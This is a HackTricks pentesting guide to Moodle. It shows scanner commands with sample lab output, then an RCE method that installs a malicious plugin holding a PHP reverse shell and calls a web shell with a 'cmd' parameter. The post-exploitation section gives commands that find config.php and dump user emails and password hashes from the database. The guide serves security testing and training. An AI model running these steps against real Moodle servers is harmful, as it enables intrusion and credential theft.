hacktricks/network-services-pentesting/pentesting-web/moodle.md

# Moodle

<details>

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</details>

<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">

If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).

{% embed url="https://www.stmcyber.com/careers" %}

## Automatic Scans

### droopescan

```bash
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/

[+] Plugins found:                                                              
    forum http://moodle.schooled.htb/moodle/mod/forum/
        http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
        http://moodle.schooled.htb/moodle/mod/forum/version.php

[+] No themes found.

[+] Possible version(s):
    3.10.0-beta

[+] Possible interesting urls found:
    Static readme file. - http://moodle.schooled.htb/moodle/README.txt
    Admin panel - http://moodle.schooled.htb/moodle/login/

[+] Scan finished (0:00:05.643539 elapsed)
```

### moodlescan

```bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/

Version 0.7 - Dic/2020
.............................................................................................................

By Victor Herrera - supported by www.incode.cl
	
.............................................................................................................

Getting server information http://moodle.schooled.htb/moodle/ ...

server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by   	: PHP/7.4.15
x-frame-options	: sameorigin
last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT

Getting moodle version...

Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta

Searching vulnerabilities...


Vulnerabilities found: 0

Scan completed.
```

### CMSMap

```bash
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
```

### CVEs

I found that the automatic tools are pretty **useless finding vulnerabilities affecting the moodle version**. You can **check** for them in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)

## **RCE**

You need to have **manager** role and you **can install plugins** inside the **"Site administration"** tab\*\*:\*\*

![](<../../.gitbook/assets/image (447).png>)

If you are manager you may still need to **activate this option**. You can see how ins the moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).

Then, you can **install the following plugin** that contains the classic pentest-monkey php r**ev shell** (_before uploading it you need to decompress it, change the IP and port of the revshell and crompress it again_)

{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}

Or you could use the plugin from [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE) to get a regular PHP shell with the "cmd" parameter.

To access launch the malicious plugin you need to access to:

```bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```

## POST

### Find database credentials

```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```

### Dump Credentials from database

```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```

<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">

If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).

{% embed url="https://www.stmcyber.com/careers" %}

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>